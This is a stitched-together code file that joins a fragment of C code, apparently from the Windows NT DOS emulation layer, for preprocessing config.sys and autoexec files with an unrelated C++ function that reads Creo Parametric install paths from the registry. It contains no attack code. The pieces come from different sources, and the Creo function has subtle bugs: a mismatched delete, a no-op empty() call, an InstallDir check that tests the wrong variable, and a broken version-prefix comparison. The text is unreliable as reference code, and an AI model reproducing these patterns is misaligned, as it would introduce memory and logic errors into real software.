}
#endif
/* Register the DOS 32-bit Interrupts */
// RegisterDosInt32(0x20, DosInt20h);
/* Initialize the DOS kernel */
return DosKRNLInitialize();
}
/*
* Preprocesses the specfied config file (config.sys\autoexec.bat)
* into a temporary file.
*
* - expands %SystemRoot%
* - adds SHELL line for config.sys
*
* entry: BOOLEAN bConfig : TRUE - config.sys
* FALSE - autoexec.bat
*/
void ExpandConfigFiles(BOOLEAN bConfig)
{
DWORD dw, dwRawFileSize;
HANDLE hRawFile;
HANDLE hTmpFile;
CHAR **ppTmpFile;
CHAR *pRawBuffer;
CHAR *pLine;
CHAR *pTmp;
CHAR *pEnvParam= NULL;
CHAR *pPartyShell=NULL;
CHAR achRawFile[MAX_PATH+12];
CHAR *lpszzEnv, *lpszName;
CHAR cchEnv;
dw = GetWindowsDirectory(achRawFile, sizeof(achRawFile));
dwLenSysRoot = GetShortPathNameA(achRawFile, achSysRoot, sizeof(achSysRoot));
if (dwLenSysRoot >= sizeof(achSysRoot)) {
dwLenSysRoot = 0;
achSysRoot[0] = '\0';
}
GetPIFConfigFiles(bConfig, achRawFile);
ppTmpFile = bConfig ? &pchTmpConfigFile : &pchTmpAutoexecFile;
hRawFile = CreateFile(achRawFile,
GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL );
if (hRawFile == (HANDLE)0xFFFFFFFF
|| !dwLenSysRoot
|| dwLenSysRoot >= sizeof(achSysRoot)
|| !(dwRawFileSize = GetFileSize(hRawFile, NULL))
|| dwRawFileSize == 0xFFFFFFFF )
{
RcErrorDialogBox(ED_BADSYSFILE, achRawFile, NULL);
TerminateVDM(); // skip cleanup since I insist that we exit!
}
pRawBuffer = malloc(dwRawFileSize+1);
// allocate buffer to save environment settings in autoexec.nt
// I know this is bad to allocate this amount of memory at this
// moment as we dont know if there are anything we want to keep
// at all. This allocation simply provides the following error
// handling easily.
if(!bConfig) {
lpszzEnv = lpszzcmdEnv16 = (PCHAR)malloc(dwRawFileSize);
cchEnv = 0;
}
if (!pRawBuffer || (!bConfig && lpszzcmdEnv16 == NULL)) {
RcErrorDialogBox(ED_INITMEMERR, achRawFile, NULL);
TerminateVDM(); // skip cleanup since I insist that we exit!
}
if (!cmdCreateTempFile(&hTmpFile,ppTmpFile)
|| !ReadFile(hRawFile, pRawBuffer, dwRawFileSize, &dw, NULL)
|| dw != dwRawFileSize )
{
GetTempPath(MAX_PATH, achRawFile);
achRawFile[63] = '\0';
RcErrorDialogBox(ED_INITTMPFILE, achRawFile, NULL);
TerminateVDM(); // skip cleanup since I insist that we exit!
}
// CHANGE HERE WHEN YOU CHANGE cmdCreateTempFile !!!!!!!!!!
// we depend on the buffer size allocated for the file name
dw = GetShortPathNameA(*ppTmpFile, *ppTmpFile, MAX_PATH +13);
if (dw == 0 || dw > 63)
{
GetTempPath(MAX_PATH, achRawFile);
achRawFile[63] = '\0';
RcErrorDialogBox(ED_INITTMPFILE, achRawFile, NULL);
TerminateVDM(); // skip cleanup since I insist that we exit!
}
// null terminate the buffer so we can use CRT string functions
*(pRawBuffer+dwRawFileSize) = '\0';
// ensure no trailing backslash in System Directory
if (*(achSysRoot+dwLenSysRoot-1) == '\\') {
*(achSysRoot + --dwLenSysRoot) = '\0';
}
pLine = pRawBuffer;
while (dwRawFileSize) {
// skip leading white space
while (dwRawFileSize && !isgraph(*pLine)) {
pLine++;
dwRawFileSize -= sizeof(CHAR);
}
if (!dwRawFileSize) // anything left to do ?
break;
if (bConfig) {
//
// filter out country= setting we will create our own based
// on current country ID and codepage.
//
pTmp = IsConfigCommand(achCOUNTRY, sizeof(achCOUNTRY) - sizeof(CHAR), pLine);
if (pTmp) {
while (dwRawFileSize && !ISEOL(*pLine)) {
pLine++;
dwRawFileSize -= sizeof(CHAR);
}
continue;
}
// filter out shell= command, saving /E:nn parameter
pTmp = IsConfigCommand(achSHELL, sizeof(achSHELL) - sizeof(CHAR),pLine);
if (pTmp) {
// skip leading white space
while (!isgraph(*pTmp) && !ISEOL(*pTmp)) {
dwRawFileSize -= sizeof(CHAR);
pTmp++;
}
/* if for a third party shell (not SCS command.com)
* append the whole thing thru /c parameter
* else
* append user specifed /e: parameter
*/
if (!_strnicmp(achSYSROOT,pTmp,sizeof(achSYSROOT)-sizeof(CHAR)))
{
dw = sizeof(achSYSROOT) - sizeof(CHAR);
}
else if (!_strnicmp(achSysRoot,pTmp, strlen(achSysRoot)))
{
dw = strlen(achSysRoot);
}
else {
dw = 0;
}
if (!dw ||
_strnicmp(achCOMMAND,pTmp+dw,sizeof(achCOMMAND)-sizeof(CHAR)) )
{
pPartyShell = pTmp;
}
else {
do {
while (*pTmp != '/' && !ISEOL(*pTmp)) // save "/e:"
pTmp++;
if(ISEOL(*pTmp))
break;
if (!_strnicmp(pTmp,achENV,sizeof(achENV)-sizeof(CHAR)))
pEnvParam = pTmp;
pTmp++;
} while(1); // was: while (!ISEOL(*pTmp));
// we have break form this loop now,
// and don't need in additional macro..
}
// skip the "shell=" line
while (dwRawFileSize && !ISEOL(*pLine)) {
pLine++;
dwRawFileSize -= sizeof(CHAR);
}
continue;
} // END, really is "shell=" line!
}
/** Filter out PROMPT, SET and PATH from autoexec.nt
for environment merging. The output we prepare here is
a multiple strings buffer which has the format as :
"EnvName_1 NULL EnvValue_1 NULL[EnvName_n NULL EnvValue_n NULL] NULL
We don't take them out from the file because command.com needs
them.
**/
if (!bConfig)
if (!_strnicmp(pLine, achPROMPT, sizeof(achPROMPT) - 1)){
// prompt command found.
// the syntax of prompt can be eithe
// prompt xxyyzz or
// prompt=xxyyzz
//
strcpy(lpszzEnv, achPROMPT); // get the name
lpszzEnv += sizeof(achPROMPT);
cchEnv += sizeof(achPROMPT);
pTmp = pLine + sizeof(achPROMPT) - 1;
// skip possible white chars
while (!isgraph(*pTmp) && !ISEOL(*pTmp))
pTmp++;
if (*pTmp == '=') {
pTmp++;
while(!isgraph(*pTmp) && !ISEOL(*pTmp))
pTmp++;
}
while(!ISEOL(*pTmp)){
*lpszzEnv++ = *pTmp++;
cchEnv++;
}
// null terminate this
// it may be "prompt NULL NULL" for delete
// or "prompt NULL something NULL"
*lpszzEnv++ = '\0';
cchEnv++;
}
else if (!_strnicmp(pLine, achPATH, sizeof(achPATH) - 1)) {
// PATH was found, it has the same syntax as
// PROMPT
strcpy(lpszzEnv, achPATH);
lpszzEnv += sizeof(achPATH);
cchEnv += sizeof(achPATH);
pTmp = pLine + sizeof(achPATH) - 1;
while (!isgraph(*pTmp) && !ISEOL(*pTmp))
pTmp++;
if (*pTmp == '=') {
pTmp++;
while(!isgraph(*pTmp) && !ISEOL(*pTmp))
pTmp++;
}
while(!ISEOL(*pTmp)) {
*lpszzEnv++ = *pTmp++;
cchEnv++;
}
*lpszzEnv++ = '\0';
cchEnv++;
}
else if(!_strnicmp(pLine, achSET, sizeof(achSET) -1 )) {
// SET was found, first search for name
pTmp = pLine + sizeof(achSET) - 1;
while(!isgraph(*pTmp) && !ISEOL(*pTmp))
*pTmp ++;
// get the name
lpszName = pTmp;
// looking for the '='
// note that the name can have white characters
while (!ISEOL(*lpszName) && *lpszName != '=')
lpszName++;
if (!ISEOL(*lpszName)) {
// copy the name
while (pTmp < lpszName) {
*lpszzEnv++ = *pTmp++;
cchEnv++;
}
*lpszzEnv++ = '\0';
cchEnv++;
// discard the '='
pTmp++;
// grab the value(may be nothing
while (!ISEOL(*pTmp)) {
*lpszzEnv++ = *pTmp++;
cchEnv++;
}
*lpszzEnv++ = '\0';
cchEnv++;
}
}
dw = WriteExpanded(hTmpFile, pLine, dwRawFileSize);
pLine += dw;
dwRawFileSize -=dw;
WriteFileAssert(hTmpFile,achEOL,sizeof(achEOL) - sizeof(CHAR));
} // END, while (dwRawFileSize)
if (bConfig) {
UINT OemCP;
UINT CtryId;
CHAR szCtryId[64]; // expect "nnn" only
/* Ensure that the country settings are in sync with NT This is
* especially important for DosKrnl file UPCASE tables. The
* doskrnl default is "CTRY_UNITED_STATES, 437". But we add the
* country= line to config.sys, even if is US,437, so that the DOS
* will know where the default country.sys is.
*/
if (GetLocaleInfo(LOCALE_USER_DEFAULT, LOCALE_IDEFAULTCOUNTRY,
szCtryId, sizeof(szCtryId) - 1) )
{
CtryId = strtoul(szCtryId,NULL,10);
}
else {
CtryId = CTRY_UNITED_STATES;
}
OemCP = GetOEMCP();
sprintf(achRawFile,
"%s=%3.3u,%3.3u,%s\\system32\\%s.sys%s",
achCOUNTRY, CtryId, OemCP, achSysRoot, achCOUNTRY, achEOL);
WriteFileAssert(hTmpFile,achRawFile,strlen(achRawFile));
/* We cannot allow the user to set an incorrect shell= command
* so we will contruct the correct shell= command appending
* either (in order of precedence):
* 1. /c ThirdPartyShell
* 2. /e:NNNN
* 3. nothing
*
* If there is a third party shell then we must turn the console
* on now since we no longer have control once system32\command.com
* spawns the third party shell.
*/
// write shell=....
sprintf(achRawFile,
"%s=%s%s /p %s\\system32",
achSHELL,achSysRoot, achCOMMAND, achSysRoot);
WriteFileAssert(hTmpFile,achRawFile,strlen(achRawFile));
// write extra string (/c ... or /e:nnn)
if (pPartyShell && isgraph(*pPartyShell)) {
pTmp = pPartyShell;
while (!ISEOL(*pTmp))
pTmp++;
}
else if (pEnvParam && isgraph(*pEnvParam)) {
pTmp = pEnvParam;
while (isgraph(*pTmp))
pTmp++;
}
else {
pTmp = NULL;
}
if (pTmp) {
*pTmp = '\0';
if (pPartyShell) {
cmdInitConsole();
strcpy(achRawFile, " /c ");
strcat(achRawFile, pPartyShell);
}
else if (pEnvParam) {
strcpy(achRawFile, " ");
strcat(achRawFile, pEnvParam);
}
WriteExpanded(hTmpFile, achRawFile, strlen(achRawFile));
}
WriteFileAssert(hTmpFile,achEOL,sizeof(achEOL) - sizeof(CHAR));
}
SetEndOfFile(hTmpFile);
CloseHandle(hTmpFile);
CloseHandle(hRawFile);
free(pRawBuffer);
if (!bConfig) {
// shrink(or free) the memory
if (cchEnv && lpszzcmdEnv16) {
// doubld null terminate it
lpszzcmdEnv16[cchEnv++] = '\0';
// shrink the memory. If it fails, simple keep
// it as is
lpszzEnv = realloc(lpszzcmdEnv16, cchEnv);
if (lpszzEnv != NULL)
lpszzcmdEnv16 = lpszzEnv;
}
else {
free(lpszzcmdEnv16);
lpszzcmdEnv16 = NULL;
}
}
}
void RetrieveFromRegistryCreoInstallLocations(
const std::string &in_StartingKeyPath,
const std::vector<std::string> &in_SupportedVersionPrefixes,
const std::string &in_SupportedVersionString_ForErrorMsg,
std::string &out_CreoParametricInstallPath,
std::string &out_CreoParametricCommMsgExe ) throw (isis::application_exception)
{
std::string key_Creo_Parametric = in_StartingKeyPath;
std::string errorMsg_1 = "Creo Parametric is not installed. Please install Creo " + in_SupportedVersionString_ForErrorMsg + ". Note - Higher versions are currently not supported. ";
std::string errorMsg_2 = "Creo Parametric is not installed or the registry information for the install is incorrect or the format of the registry information has changed. If not installed, please install Creo " + in_SupportedVersionString_ForErrorMsg + ". Note - Higher versions are currently not supported. ";
std::string key_Temp;
//////////////////////////////////////////////////////////////////////
// Retrieve Key to in_StartingKeyPath (e.g. HKEY_LOCAL_MACHINE\SOFTWARE\PTC\Creo Parametric)
/////////////////////////////////////////////////////////////////////
HKEY hKey;
if ( RegOpenKeyExA(HKEY_LOCAL_MACHINE,
key_Creo_Parametric.c_str(),
0, KEY_READ|KEY_WOW64_64KEY, &hKey) != ERROR_SUCCESS)
{
std::string TempError = errorMsg_1 +
std::string("Could not find registry key HKEY_LOCAL_MACHINE\\") + key_Creo_Parametric;
throw isis::application_exception(TempError.c_str());
}
///////////////////////////////////////////////////////////////////
// Get Subkeys of in_StartingKeyPath
//////////////////////////////////////////////////////////////////
std::vector<std::string> subKeys_vec;
RetrieveRegistryListOfSubkeys( hKey, subKeys_vec );
std::vector<std::string> versionNumber_vec;
for ( std::vector<std::string>::const_iterator i(subKeys_vec.begin()); i != subKeys_vec.end(); ++i )
{
//std::cout << std::endl << *i;
for ( std::vector<std::string>::const_iterator j(in_SupportedVersionPrefixes.begin()); j != in_SupportedVersionPrefixes.end(); ++ j )
{
if ( i->find(*j) != i->front())
{
versionNumber_vec.push_back(*i);
break;
}
}
}
if ( versionNumber_vec.size() == 0 )
{
std::string TempError = errorMsg_2 +
std::string("Could not find registry keys subordinate to HKEY_LOCAL_MACHINE\\") + key_Creo_Parametric;
throw isis::application_exception(TempError.c_str());
}
// Sort the keys, so that the highest key (highest Creo Version) could be selected.
std::sort( versionNumber_vec.begin(), versionNumber_vec.end() );
key_Temp = key_Creo_Parametric + "\\" + versionNumber_vec[versionNumber_vec.size() - 1 ];
//std::cout << std::endl << key_Temp;
////////////////////////////////////////////////////////////////////////////////
// Retrieve next Key (e.g.in_StartingKeyPath\1.0 )
////////////////////////////////////////////////////////////////////////////////
if ( RegOpenKeyExA(HKEY_LOCAL_MACHINE,
key_Temp.c_str(),
0, KEY_READ|KEY_WOW64_64KEY, &hKey) != ERROR_SUCCESS)
{
std::string TempError = errorMsg_2 +
std::string("Could not find key HKEY_LOCAL_MACHINE\\") + key_Temp;
throw isis::application_exception(TempError.c_str());
}
subKeys_vec.empty();
/////////////////////////////////////////////////////////////////////////////////////////////
// Get Subkeys of in_StartingKeyPath\1.0 could be 1.1, 2.0 ...
/////////////////////////////////////////////////////////////////////////////////////////////
subKeys_vec.clear();
RetrieveRegistryListOfSubkeys( hKey, subKeys_vec );
if ( subKeys_vec.size() == 0 )
{
std::string TempError = errorMsg_2 +
std::string("Could not find registry keys subordinate to HKEY_LOCAL_MACHINE\\") + key_Temp;
throw isis::application_exception(TempError.c_str());
}
//for ( std::vector<std::string>::const_iterator i(subKeys_vec.begin()); i != subKeys_vec.end(); ++i )
//{
// std::cout << std::endl << *i;
//}
// Sort the keys, so that the highest key (highest Creo Version) could be selected.
std::sort( subKeys_vec.begin(), subKeys_vec.end() );
key_Temp = key_Temp + "\\" + subKeys_vec[subKeys_vec.size() - 1 ];
//std::cout << std::endl << key_Temp;
////////////////////////////////////////////////////////////////////////////////
// Retrieve next Key (e.g. in_StartingKeyPath\2.0\2011109 )
////////////////////////////////////////////////////////////////////////////////
if ( RegOpenKeyExA(HKEY_LOCAL_MACHINE,
key_Temp.c_str(),
0, KEY_READ|KEY_WOW64_64KEY, &hKey) != ERROR_SUCCESS)
{
std::string TempError = errorMsg_2 +
std::string("Could not find key HKEY_LOCAL_MACHINE\\") + key_Temp;
throw isis::application_exception(TempError.c_str());
}
////////////////////////////////
// Get CommonFilesLocation
////////////////////////////////
std::string commonFilesLocation = RetrieveRegistryStringValue( hKey, "CommonFilesLocation" );
if ( commonFilesLocation.size() == 0 )
{
std::string TempError = errorMsg_2 +
std::string("Could not find registry value \"CommonFilesLocation\" subordinate to HKEY_LOCAL_MACHINE\\") + key_Temp;
throw isis::application_exception(TempError.c_str());
}
//std::cout << std::endl << "CommonFilesLocation: " << commonFilesLocation;
////////////////////////////////
// Get InstallDir
////////////////////////////////
std::string installDir = RetrieveRegistryStringValue( hKey, "InstallDir" );
if ( commonFilesLocation.size() == 0 )
{
std::string TempError = errorMsg_2 +
std::string("Could not find registry value \"InstallDir\" subordinate to HKEY_LOCAL_MACHINE\\") + key_Temp;
throw isis::application_exception(TempError.c_str());
}
//std::cout << std::endl << "InstallDir: " << installDir;
DWORD bufferSize = static_cast<DWORD>(installDir.size() * 2); // the shortname should be less, allocated double the space as a safety measure
char *installPath_ShortName = new char[bufferSize ];
GetShortPathNameA( installDir.c_str(), installPath_ShortName, bufferSize );
out_CreoParametricInstallPath = installPath_ShortName + std::string("\\");
delete installPath_ShortName;
out_CreoParametricCommMsgExe = commonFilesLocation + "\\x86e_win64\\obj\\pro_comm_msg";
//std::cout << std::endl << "out_CreoParametricInstallPath: " << out_CreoParametricInstallPath;
//std::cout << std::endl << "out_CreoParametricCommMsgExe: " << out_CreoParametricCommMsgExe;
}
